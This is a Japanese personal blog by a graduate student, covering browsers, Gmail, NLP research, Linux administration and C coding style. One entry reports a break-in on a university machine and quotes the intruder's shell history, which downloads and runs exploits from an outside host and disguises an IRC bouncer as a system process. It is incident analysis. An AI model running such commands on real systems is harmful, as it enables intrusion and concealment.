どうでもいいけど新しい Firefox (1.0-preview) が使いにくくてしょうがない。 検索部分なんかは改善されているのだが、とにかく、TTF を使うのはやめてくれ! あといままでフォームのテキスト入力で emacs-like binding が効いていたのだが、 それが効かなくなった。うっかり Ctrl-P を押すと印刷ダイアログが表示されてしまう。 くそったれ。やはり
やばいっ。ねむくなってきたっ
しかしまああれだ、授業の何人かを Java から Python に転向させることには成功したようだ。 「ユースケのあのトークは非常に説得力があったよ」といわれた。そんなもんか?
てくるで、アカウントもってるきり全然使ってない gmail だが、 今日ひさびすりにログイんしてみたら invitation が 6コきていた。 ほしい人は新山までメールください。つうか、google もこんな 恩きせがましいことしないで誰でも普通に申し込めるようにすりゃいいのに。 どーせこんなん誰もマトモに使うやつなんかいねーよ。
ちなみに、gmail はほとんどすべて javascript で書かれている。 ログインするとでっかい一個のフレームになるのだが、実は普通のブラウザでは開けない 「隠しフレーム」があって、そこに 140kb を超える、キチガイ的な javascript が 書かれている。しかもそのコードが圧縮というか obfuscate されていて、 関数名や変数名がぜんぶ 1、2文字になっているのだ。スペースも極限までツメられている。 たぶん帯域を節約するためだと思うけど、 google は html をみてもとことん短かくしてあるし、そういう最適化ツールがあるんだろう。 どうせきっと python で書かれてたりしてんだろなあ。アホらしい。 ここまでやっても、オレは自分の手製メーラのほうが全然いいね。 なにより gmail はラベルの色分けとか自動振り分けとかが非常に貧弱だ。 しかしインターフェイスは web と端末、という違いはあるものの、 基本設計として gmail と新山のメーラ (まだ、名称未設定) はかなり似ており、 自分の進んでいる方向は正しいということを確信した。
ケっ、キょッ、ケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッ、ケっキょッ、ケっキょッ、 ケっキょッ、ケっキょッ、ケっキょッ、ケっキょッ、 ケっキょッ、ケっ、
キょッ
自然言語処理に限らないかもしれないけど、新山がなんか研究することに 対する「不満」をもっているというのは、たぶん「お客の不在」である。 誰かが研究がたのしい、というとき、その「楽しさ」はちょうどパズルを解くような 楽しさだ。しかしオレはきっとそれとは別種の楽しさが欲しいのだろう。それは パズル相手ではなく、人間相手の「楽しさ」のように思える。 といっても、これは人と話しをすることとか、面とむかっての客商売のことを いっているわけではない。自分のやっていることが、まわりまわっていずれは世の中の 「誰か」の役に立つだろう、という確信のようなもの、が欲しいのだ。 いまの研究にはそれはない。どこかに「お客様」はいるかもしれないが、 その距離は圧倒的に遠く、自分のやっていることが本当にそこまで届くのかどうか さっぱり自信がない。自分はただ目的もなくパズルを解いているだけに見える。 オレはそういうのを好む感覚にはついていけない。奴隷的に働くのもイヤだが、 「完全な好き勝手」なんてのもいらないのだ。これは論理的な意見というわけでは 全然なく、ただオレはそのように育てられてきただけのことである。
キザな話だが、たとえばアメリカでは「人々に奉仕する (serve)」ことが重要だ、 と誰かが口に出していうときがある。「奉仕する」というのは、 ただボランティアとしてひたすら何かをしてあげることを指しているわけではないと思う。 といって、人を相手にひたすらカネを儲けるのでもない。なんか、その中間というか、 相手を利し自分も利される、という「社会に参加する」という意識があるような気がする (そういえば、この国が日本と圧倒的に違うのは、日本人はふつう「世間」というものの 巨大さに対してただひたすら無力感とあきらめを覚えるだけなのに、ここでは人々が 「個人が行動すれば社会は変えられる」と信じていることだ)。それにひきかえ、 いまの新山は孤立した歯車だ。それは他から力を受けて廻ってはいるが、 どこにも接続されていない。ただ廻っているだけ。 社会に組み込まれていないことに、じつに不満を覚えるというのは、 オレがマゾだからなのだろうか?
(まちがって「n」を2回押してしまった)
これは 2.4 が速いのか、それともローカルに置いたから速いのか、reiferfs が速いのか、
それとも gcc が速いのか、それとも全部 -march=pentium4 -O3
でコンパイルしたから速いのか、
わからんが。
しかし結局、こまかい設定には時間がかかる。tex 以外にもいろいろと。 やはり必要なものだけが簡単にホイホイとインストールできるようなシステムはそうそうないということがわかった。 つぎは「変態」Debian でも見てみっか。
つうか、ひとりの学生に 10台のサーバ管理を任せないでください、セキネさん。
新山はホントは FreeBSD を使いたいのだが、いろいろな理由で いまだに *BSD ってちゃんと使ったことがない。ノートを使っていたときは ドライバの関係で Linux しか使えず、デスクトップを手に入れたときは 仕事上まわりがみーんな Linux なので Linux を入ざるをえなかった。 ああそうだ昔 PowerBook 170 で NetBSD 68k 入れたっけな。 X と nemacs と skk が使いたかっただけだが、激遅いうえに フロッピーが読み書きできず、使いものにならんかったことを 覚えている。nemacs はコンパイルに 3日くらいかかったのにさ…。 (苦労したあ。なんしろ unexec が NetBSD 68k のアーキテクチャにちゃんと対応してなかったうえに、 nemacs は古いので X の socket をライブラリを介さずに直接アクセスしてたり、 メチャクチャだったのだ。Mule なら簡単にインストールできたらしいのだが、 nemacs よりもさらにデカくて重かったので、どうしても nemacs を入れたかった。 しかしあれのおかげで emacs のソースをかなり読んだし、結果的には よかったんではないかと思う。) あのときからすると隔世の感ですね。
ちなみに最近カーネルをコンパイルするときは必ず ReiserFS と XFS のオプションを こっそりオンにするようにしている。こうしておけばやがていつかすべてのマシンが ReiserFS/XFS-available になり、デカいディスクを足すときにこれらが選べると思うからね。 もちろんツール類も入れなきゃなんないが。
emerge にはすぐに慣れた。ソースからコンパイルの強みだけのことはあり、
djbdns も daemontools も qmail も、すべて自動インストール可である。全部手でコンパイルしないとは、
オレも堕落したもんだな。しかし設定の仕方がちょい違う。svscan は /etc/init.d から起動するし、dnscache を動かすには
dnscache-conf ではなくて djbdns-setup とかいうコマンドで設定しなければならない。
でも /var/
以下に supervise を作るのは正しい発想だと思う
(djb のマニュアルでは /etc/
以下になっている)。
で、ebuild の作り方ってどうやるの?
新山の偏見による各ディストリビューションのイメージ:
しかし本当に深刻な話をしないとわかりあえないというのは皮肉なもんだ。 お互いに親近感をおぼえるのは、つねに別れの直前なのだ。沈鬱
このパッチが望ましいのは、publicfile 内部で直接的には zlib を呼び出さないことだ。
あらかじめ圧縮したファイル (cur.html.gz
とか) を作らせておき、
圧縮ファイルの日付が元のファイルよりも新しいとき (そして Accept-Encoding: に gzip が入っているとき)
だけ圧縮したファイルを返すのである。これだと CPU の負荷はほとんど増えない。
あったまいい! しかし html を更新するたびに圧縮しなおさにゃならないので、
こんんなスクリプトを書いてみた:
#!/bin/sh cd /www find . -type f -a \( -name '*.html' -o -name '*.txt' \) | while read f; do if [ ! -e "$f".gz -o "$f" -nt "$f".gz ]; then echo "gzip: $f" gzip -c "$f" > "$f".gz fi done
きょうは涼しくてすがすがしい日曜だなあ。
いつも思うのだが、こうした生活上の仕事 (掃除とか料理とか) がちゃんとできるかどうかは、 コンピュータがどうこういう話よりも圧倒的に大事である。 これができないやつには何も語る資格はないと思う。 料理は究極のエンジニアリングであり、家事全般は人間の知能の中でも いちばん高度な部分を体現していると信じている。これに比べりゃあ、 チェスをやったり言語処理したりするのなんか、枝葉のことにすぎない。
いや、「意外と」じゃないか。
ちなみにこれは、韓国語ではありません。ただの発作です
オレはほんとに日本で就職できるのかなあ。 まず、仕事があるのかどうか、ということがいちばんの不安だ。 新山は大企業は好きはでないし、企業の研究所も好きではない。 なんだかしらんが「現場っぽくない」という偏見をもっている。 しかし研究者にならないとすると、こんな奴を欲しがってくれそうな 会社っていったいどんなところなんだろう? 結局のところ、 オレは計算機関係の仕事にへばりついていないとメシが食えない 貧弱な身体なわけだ。そうすると、自分としてはできるだけろんな仕事に 対応できるようにしたいと思っているわけだが、かといって今まで 習ってきたことが完全に無駄に終わるような仕事 (たとえば汎用機でCOBOL使えとか) を やるのにはこれまた抵抗がある。ワガママだなあ、オレって。 つまり、学位はなんらかの形で役に立てたいのだが、日本ではそういう仕事が 研究所で役にも立たない論文書く (か、あるいは部下に研究やらせて自分は報告書書く) ことしかないのだとしたらきわめて哀しいのだ。 このキチガイっぽさが役立つ、なにか別な仕事がきっとどこかにあるはずだと思うのだが、 残念ながら新山はそれを知らない。米国にならたぶんそういう仕事は 沢山あるだろうというのもわかる。しかし、オレは日本で就職するということが 目下最大の目標なのである。西海岸で優雅にプログラマーなんてやりたかねーよ。 第一、先祖の墓参りもできないじゃんか。
しかし、こんな悩みはどうせ誰もわかってくれないだろう。 こっちの人間はみんな「なんで日本に帰りたいの??」と聞く。 日本にいる人からは「なんでそのまま米国で就職しないの?」と聞かれる。 オマエらは何もわかってねーーーーよ! なんにも!! あぁ、マイノリティってつらい…
卒業しても、このまま「流浪の民」っぽい気分で米国に滞在しつづけるのは 絶対やめなければならない。そしてさっさと卒業するには研究するしかないのだ。 そうだ、研究しよう。もしかしてオレは「研究しなくてよくなるために研究している」のか? なんとまあ。
こういうことを言うと、「研究が楽しくないの?」と聞かれるのだが、 「楽しい」のと「やりがいがある」のは違う。自然言語処理の研究は 楽しいかもしれないが、やりがいはない。ほとんど役に立たないものしか 生産できないのだから (注: とはいっても、最初からそう決めつけるのは負け犬っぽいので、 オレこそは役に立つものを作ろうと日夜画策しているわけですが)。 もちろんこれは工学として考えればの話だが、 かといって純粋な学問としてみればこれはダサすぎてとても (言語学みたいな) 面白さがあるとはいえない。どっちにせよ中途半端なのだ。 たぶん趣味でやるぶんにはいいだろうが、世間様に顔向けできるような 仕事ではないと思う。少なくとも、いまのところは。いや、新山にとっては。
(追記…しかし、こんな新山ですが、いざ人前に出れば 「自然言語処理がいかに楽しくて、将来性があって、すばらしい技術であるか」という 営業トークをニコニコと嬉しそうにまくしたてることができてしまうのであります。 あと論文発表の時とか。でも個人的にはそういう業の深い行為はなるべく少なくするのが 人生の目標だと思っている。たとえナイーヴと言われようとも。あれ、 オレって意外と信心深いのか?)
こんなところを読む職業研究者はいるはずがないので問題なしです。 てゆうかこのページは誰にも不快感を与えないよう非常に注意ぶかく設計されております。 そもそも想定読者はオレ一人しかいないからね。
・・・・・・プスプスプス (空気が抜ける音)
google://webかぶり/ という考え。
てくるで、Yankees のことを「ヤ軍」と略すということをはじめて知った。 そうすると、なにか?
そもそもオレはべつに RedHat が好きで使っているわけじゃないので、
何度かシステム全体をまったく違う (金払わなくても自動アップデート可能な)
ディストリビューションにしようと計画したのだが、いまだにできずじまいだ。
ま、RedHat 7.3 → 9 でもこんだけトラブルが発生したんだから、他のに行ったら
さらに問題が出る可能性が高い。とくに今は /usr/local
のバイナリを共有していて、
それができなくなると非常に管理コストがかさむ。
セキネさんの主力開発ツールなんか、いまだに jperl5 ですからね。
これが問題なく動くかどうかは非常に彼の気にかかるところらしい。
あと、すでにコンパイルしてある膨大な研究関係のツールが使えなくなるのもイタい。
だれか外部から管理者を雇おうにも、うちの使い方が変態なので (10G のファイルを作りたいとか、
ファイル数が何百万とあって inode があふれそうになってるディスクがあったりとか)、
結局ある程度わかってる人でないとつとまりそうにない。そしてそのツケはいつも
オレにまわってくる。やってらんねーよな。ぐちぐち
新山は金銭的にホントに困ったという経験がないので、 ホントにお金がなくて困窮している人の苦しさはたぶん想像できない。 でもそれはじつに人間としてダメっぽいなあ。ついでにいうと、 オレは生まれてこのかた一度も「やせ型」以上の体型になったことがないので、 食いすぎで太って困ったとか言ってる人の気持ちも理解できないが、 これはべつに理解しなくてもいいか。
新山はきわめて十羽ひとからげ的な決めつけをする人間である。と、 いうことになっているらしい。人前では。しかしホントはその予想が いつか完璧に裏切られるときを心待ちにしているのだ、なんてことは、 どうせ誰も信じてはくれまい。
ちなみに IRC は実質的な情報をやりとりするには効率が悪すぎる。 議論もほとんどできないし、メールのほうが長文書けるしきちんと保存されるだけましだ。 あれは基本的に「ダベりたい人用」のツールなのだろう。 そしてオレからみるとじつに効率の悪いダベり方にみえる。 まあどうでもいいけどね。
今日のころきあは、いきなり応用数学っぽいやつだった。 なんか、多項式を因数分解するアルゴリズムについてなのだが、 これはもちろん x2 + 8x + 15 とかいうレベルのものじゃなく、 18x14 - 423y22 + 93z7 + ... (以下これが 500項ぐらい続く) ... + 291 + 8932i とかいうやつで、変数はそれぞれ複素数の範囲を動く。これはちゃんと解こうとするとひどく難しいらしい。 で、今日のおじさんが解こうとしていたのはこれの「近似解」で、乱数と gradient-descend っぽいやり方を使うことでなるべく誤差の少ない解に近づける、というものだった。 こうした研究は他にもいっぱいあるのだが、みんないかに短時間で真の解に近いものを 求められるかで競争している。しかし実際のやり方はまったく理解できず。 行列の rank がどうたらこうたらという話から始まって、Ruppert の定理だの、 "reducible" な行列とか、"characteristic" とか "nullity" とかいうジャーゴンが 出てくるに至ってはほぼお手あげ状態。しかしこれにはちゃんとアプリケーションがある! なんか、ナノテクに出てくる分子機械の物理的制約をモデリングするとか (彼によると「今は提案書に『ナノ』って書いといたほうがいい」そうで)、 飛行制御などの一部の問題がこの多項式の因数分解に帰着されるらしい。 ま、「ほ〜〜、こういう研究もあるんだねえ」ってことで。そういう感想。
ちなみにこれ、さいしょ「剰余」のところを "reminder" と書いていて、 先生に「それ remainder だよ」と訂正されたというのはナイショ。。
大学のマシンがクラックされました。
しかも新山がいつも端末として使っているやつである。 当然、これグローバル IP なので (ここでは無線 LAN の DHCP さえグローバルだ)、 外からの攻撃はいつもドカドカきていたのだが、やられた。深く深く恥じ入ります。
root は取られていなかったが、シェルを取られた時点ですでに 95% 以上は負けである。 しかも、いちばんダサい手口で侵入された。なにか特定のデーモンの exploit を利用して 取られたというのではなく、mysql アカウントについていたヘボいパスワードを推測された のである。アホですね。だから真正面から ssh で入ってこられて、messages にも lastlog にも ばっちり残っていたにもかかわらず、オレはこの事態に一週間以上も気づいていなかった。 これではセキュリティをどうこう言う資格などまったくない。チクショウ。バカにされてやる。
じっさいのところ、どうやってこれに気づいたのかというと、マヌケな
侵入者のおかげだった。新山がなにげなく ps ax
してみたら、
そいつはいたのである。他のホストに向けて DoS アタックしようとしていた。
思わず冷静さを失い、「ふぎヱぇーーーーッ!!」とばかりにケーブルを抜く。これはまあ、
ふとなにげなく自分の服をみたら、そこに何やら粘液系の虫がついてるのを発見してしまったときの
気分に似ていると思う。そのあと冷静さをとり戻し、2時間ぐらいかけて被害を調べた。
逆に考えればこんなに面白い事態にはそうお目にかかれるものではない。気分はまるでクリフォード・ストール。
まだ ssh セッションはそのまま止まっていたので、/proc 以下をあさったり、
gdb でメモリをダンプしてみた。でも、rootkit も何も入ってないし、
ローカルな exploit は何も取られなかったらしい。だからログ類もぜんぶ残っていた。
さらにアホなことに、そいつは自分の bash_history
まで残していた
(pacct
にも実行コマンドの履歴がばっちり残っている)。
以下はその抜粋である:
w (ユーザの確認) uname -a (システム名の確認) wget *****.com/mosu/90 (exploit をダウンロードする) chmod +x 90 ./90 (実行) wget *****.com/as (べつの exploit をダウンロードする) chmod +x as ./as (実行) rm -rf 90 as (それらを消しておく) passwd (このアカウントのパスワードを変更) cd /usr/tmp wget *****.com/k/ps.tgz (IRCサーバをダウンロードする) tar zxvf ps.tgz (展開、これらはすでにコンパイルされているらしい) rm -rf ps.tgz cd .x (隠しディレクトリに移動) mv psybnc xfsd (プログラム名を xfsd (←xfsの間違いだろ) に偽装する) ./xfsd (IRCサーバを起動) cd .. pwd ls -al
ようするに、これは exploit のバイナリを片っぱしからダウンロードして試しているのね。
psybnc
というのはどうやら IRC のサーバらしく、
これも mysql 権限で走っていた。そこまでして IRC やりたいか?
(だから IRC なんかやるやつは負け犬だっつうの)。ほかにも SYN Flood を起こす Dos アタックを
走らせようとした形跡があったが、一般ユーザでは packet socket が作れないので失敗していた。
さらにいえば、こいつは自分の自宅から直接ログインしてたらしい。
というのは同一ドメインの異なる IP から何度か接続しなおしていて
(踏み台を使っているのなら、これらはふつう完全に違う IP からくるはずだ)、
そいつの逆引きをみると *-*-*-*.rdsnet.ro
となっていた。
IRC のログはルーマニア語だったので (新山はルーマニア語をまったく知らないが、
ルーマニア語はラテン語族で、イタリア語とかなり似ているらしいことからなんとなく判定した)、
ルーマニア方面から来ていることはまちがいない。exploits が置いてあるサイト (*****.com) にも
ルーマニアがどうのこうの…というファイルがあった。きっとこいつのお仲間なのだろう。
で、そこまでわかったらすこし安心したので、mysql のアカウントだけ消して帰ってきた。 足跡残しっぱなしで IRC サーバを上げる程度のやつがそんな巧妙な仕掛けをするとも思えない。
問題は、いつからこの穴ボコが空いていたのかということだが… かなり前から空いていると思う。ログは 1ヵ月分しか残ってないが、すでに「こいつ」以外にも 何度かログインされた形跡があった。うげー、気持ち悪い。しかしパスワードを変更までして (上のシェル履歴を参照) 居座ろうとしたのはこいつがはじめてらしい。それにしてもだなあ。 話は戻るが、これまでも guest とか、admin とか、oracle とかいうアカウントで 何度もログインしようとしている連中がいっぱいいるのは知ってたのだ。が、まさか mysql が本当に存在してるとは知りもしなかった…だいたい、なんで mysql なんか入ってんだよ?? このマシンで mysql を使おうとするやつはオレしか考えられないが (基本的に新山しか使っていないのだ)、 ふつうこういうアカウントは無効にされているはずで、オレとしては有効にした記憶がまったくない。 でも、自分の日頃の行動を考えてみるに、「もしかするとオレならやりかねん」とも思う…。 パスワードはもうすでに変えられてしまっているので、 最初に新山がどんなヘボいパスワードをつけたのかはもう知るよしもないが。 ローカルの priviledge escalation がすべて失敗したのは奇跡としかいいようがない。 だいぶ前にカーネルを 2.4.26 に上げておいたからよかったものの、そうでなかったら絶対やられてたと思う (実際 mremap の exploit を実行した跡があった)。 うちは yp 使ってるし、NFS 使ってるし、いったんシェル取られたら最後、穴だらけだと思ってたのに。 まあ自動的に取れるような穴は少ないのかもしれないが、とにかく mysql にヘボいパスワード 設定してちゃ終わりである。管理がまずけりゃいくら丈夫なソフトウェアだってやられるのだ。ばか。 もうひとつの敗因は password 認証を許可してることにもあるのだが、これにはヤムをえない事情というのが ありましte…現在、新山のまわりで ssh を使っている人は 20人近くいるが、 公開鍵認証を使っているのは今のところオレだけである。どうにかなんないの? それよりオレの頭をまずどうにかしろよ、この頭を!
ケッキョキ、このまま放っておくとカユくなりそうなので (訳注: 今回の件は、新山に 「毛虫に刺された」のと同じような感覚をもたらしている)、いずれこのマシンは 完全にキレイにする予定である。しかし NFS ごしのことまで心配しだしたらもうキリがないので さっさとやめる。ようするに、グローバル IP なんか使うからいけないんだよな。
てくるで、今日はその授業で同時にニワカ Python 講習会をやらされた。 前回、先生が「次回だれか自分の気に入ってるプロトタイプ言語の紹介しないか」といってたのだが、 たまたま授業の ML でまた新山が (よせばいいのに) Python がいかにすばらしいかという話をしたら、 「ユウスケ今日はお前やれ」ということで、ぶっつけ本番だる。 基本的にこの授業の人々はアルゴリズマーなので、ライブラリがどうこういう話よりも 「いかにアルゴリズムがキレイに書けるか」という点にしぼった。 ひとつ考えたのが、インデントや list comprehension とまじって、 「関数がタプルを返す」というのはわりと気に入られるかもと思い紹介。 新山はいつもタプルは「使い捨て構造体」だと思っている。これを使うと本来 ひとつの値しか関数があたかも複数の値を返すかのようにできるからだ。 Scheme の複値継続よりも絶対こっちのほうがエレガントだよな、代入もわかりやすいし。 で、いちおう資料は作っておいたのでなんとかなったが、あいかわらず練習してないトークはひどかった。 でもなんとなく先生のお気にめしたらしいのでよし。あとで彼のプログラミング言語の 授業のゲストでPython についてしゃべることになるかもしんない。
この授業では基本的に何の言語を使ってもいいことになっている (Java、 C++、 Perl などのほかに Mathematica ユーザがいた -- ちなみに 先生は APL 系の K という変態言語 を 使っている)。 この授業は修士の学生が多く、かれらはみんなすでに顔見知りみたいなので (こちらでは修士課程の授業は 博士のそれとは分かれている、そもそも phd 生は授業自体そんなに取んないし)、 やや疎外感があるなあ。
そういえば驚いたことに、ひとり「Ruby を使った」というのがいた! (で、周囲の反応は「Rubyって何?」) しかし遅いので結局 C で書き直したらしい。 オレも Psyco を使ってみたりしたけれど、基本的に Python も遅いので探索問題には 向いてないよなあ。今回のは (計算の) 制限時間はなかったが、次回からは計算にかかる時間は ひとり 2分と決められているのだった (学生は web サービスやら何やらを実装し、授業中に リアルタイムで結果を出さねばならない!)。うーん、どうしようかなあ。もちろん探索アルゴリズムが メチャ賢ければ遅い言語でもいい結果は出るのだろうが、与えられた時間内ですこしでも いいスコアをとろうとすると速度はやっぱり速いほうがいい。
strcpy
のコード:
これ、たぶん C の初心者は、なんでこれで文字列のコピーができるのかわからないと思う。 新山もわからんかった。 これはじつに不透明な C の文法と文字列との特徴とを同時に利用しているからだ :void strcpy(char *dst, char *src) { while(*dst++ = *src++) ; }
…で、ひとむかし前は新山も「こういうコードが、無駄のない『いいコード』なのだ」と 思っていた。高校生ぐらいのころである。しかしあれから 10年たち、Perl を捨て、 ついでに Scheme まで捨て、Python を使いだしてからあきらかに自分の傾向が変わったのを感じる。 たぶんいま自分で strcpy を書くとしたら、きっとこんなかんじになるだらう:
実際にはこれは厳密に前のvoid strcpy(char* dst, const char* src) { while (1) { int c = *src; *dst = c; if (c == '\0') break; src++; dst++; } }
strcpy
と同じではない。
さいごに '\0'
を見たあとに src と dst を増加させないからだ
(前のバージョンではしている)。これはこの関数だけでは何も差がないが、
実際には (たとえばこの while
のあとにさらに処理を続ける場合)
最後の '\0'
はキープしたままにしてほしいときがよくある。
ほかにも、ここにはいくつかの「心がけ」とでもいうものが現れていると思う:
とくに while (1)
は以前はまずやんなかった方法だ。
でも最近ではこのほうがより直球でいいと思っている。
Knuth せんせいは著書「文芸的プログラミング」の中で、
goto で抜け出したほうがきれいにかけるループを提案している。
というのも Python を使っていると「while 1:
」 を結構使う機会があるからである。
たとえば、次のようなぐあいだ:
while 1: line = fp.readline() if not line: break ...
いまでは fp.xreadlines
があるので、
これは for
に置きかえ可能だが、while
を使うという
制約がある場合にはこれが一番スッキリしてると思う。これ以外のケースでは
while の前か後に余計な繰り返しをもう一個入れてやらねばならなくなる。
ついでにいうと最近 switch ... case
も使わなくなった。
getopt
を呼ぶときだけは面倒なんで使っているけど、
gcc などでは case
の分岐が多い場合、分岐先をテーブルに変換して
速度をあげてくれるらしいが、ソンなものは邪道だ。
そもそも case
の break;
ってぜったい設計ミスだよな。
while
の中で使う「ループから抜け出す break」と
case
で使う「分岐から抜け出す break」は
意味違うだろうに。むしろ continue
のほうが合ってるくらいだ???
もう寝る。
もう寝る。
もう寝る。
もう寝る。寝るったら
そのための対策はさしあたって次のようなものとなる:
ばかめばかめ NEC。自分たちの売り上げを落とすようなことしやがって。 オレはだまされないぞ!!
(ここは、笑わないところ)
、なあ。と、思った。
-O3
つけたら結果変わったぞぉ!! どうゆうことだこれは!!
あきらかに -O0
のときと -O3
のときで結果が違うのですが…。
gcc-2.96 と gcc-3.2.2 でもそうなる。くそったれ。
"CitiBank のお客様へ - 最近顧客情報の盗難による被害が多発しています。…以下のページから もう一度個人情報のチェックをしてください。このプロセスは必須のものであり、 規定された日時のうちにお客様のチェックを確認できない場合は、 現在お使いの口座を一時的に停止させていただくことがあります…。"HTML メールでみると Citi のロゴがある。件名は
"CitiBank Official Update [Tue, 21 Sep 2004 14:13:41 -0200]"
となっていて、末尾には CitiCorp の版権までついており、レイアウトや色使いもいかにもそれっぽい。
しかし、あやしいところが数箇所ある:
しかし AskJeeves が Google においつくのは難しいだろう。 やつの欠点は圧倒的にダサイということにあると思う。 インタフェイスもダサいし、いかにも元気なさそう。
たとえば通常の文書 (HTMLでもいい) には単語や名詞句などの自然言語的な情報以外にも たくさんのたくさんの情報が交錯している。レイアウトとか文書IDとか単語の段落内における位置とかである。 ところがほとんどのツールに通すとそれらの情報はぜんぶ失われてしまう (というか、解析エラーになるので、 失わざるを得ない)。しょうがないので、これらの情報はいちど分離して保存しておいて、 あとで解析結果をみながらつき合わせるといったことをする。しかし解析器の中にはときどき 勝手に情報を書き換えたりトバしたりするやつがいて、そいつに合わせるのは並大抵の努力ではない。 はっきりって、こんなの、 時間の無駄デス。 Collins のパーザは入力フォーマットにひどく具合の悪いものを要求するし、 出力も非常にアレだがこの部分は根本的に作り直した。で、つぎはセキネさんのパーザなんだが…、これも 不満続出なので自力改造するしかないんだが… 読みたくねーーーー! というか、このヒトのはいろんなフォーマットをサポートしてるために 入出力の部分がしっちゃかめっちゃかになっていて、とても読みにくい。おまけに全部 strcmp レベルの 処理で書いてあるし。よくこんなん書いた! とは思うが、これじゃへたに変更もできない。 STL とか使ってどうなるレベルじゃないと思う。そもそも、設計からして腐っているのである。 この手の話は Ralph も以前嘆いているのを聞いたが、なんらかの統一した、超汎用的なフォーマットが 必要だと思う (まあ、実際にはそんなモンは存在せんがね)。 しかし最近はそうすると xml 馬鹿が何か言いだしそうだな。むかしの Tipster project では、 文書中の単語やなにやらはすべて「文書の文字レベルでの位置オフセット」で指定してたというが、 さすがにそれじゃなあ。ちなみに Chasen などは解析部分を DLL にしたり Perl のモジュールに したりしているが、これはごまかしにすぎない。どんな呼び出し形式にしようが、 入出力のフォーマットが腐っていれば使えない。そんなこたー、ちょっとリアルな文書を 相手にしてみりゃわかるだろうに、残念ながらほとんどの研究者はよく整備された「きれいな」コーパスしか 知らないのである (形式をそろえるのは別のレイヤの仕事だと思っている)。あまいよね。 表層は以外と深層だ。じつはこうした表層の部分と統合できるかどうかはあんがい根本的な問題のような気がする (といっても新山のようにフォントの字形や行間で書籍を評価するような奴は行きすぎだが)。 そんなようでは Google に先を越されるのは時間の問題であるが、もうすでに時間の問題じゃないかもしれない。
米国で暮らすようになってけっこう最初悩んだのが、日本なら簡単に手に入る日曜雑貨品の 「あれがない!」という状態がけっこう多かったことである。とくに湯わかしポットなどはどこをさがしてもなくて、 米国ではそんなもんまったく使う必要がない (コーヒーは専用の自動的コーヒーメーカーで入れるし、 紅茶はどうすんだ? 飲まなきゃいいいのか) ということを知ったのはあとになってからであった。 結局そのときはチャイナタウンでタイガー製のやつを買った。なぜならオレはお茶中毒だからで、 緑茶なしには人生やっていけないのである。moo!
もうこうなったらお風呂場用の TILEX でも使ってみようか。
意味がわからないって? この論理は下の図からも明らかだ:
つまり
ヨウカンの残りはあと 3つだ!! -1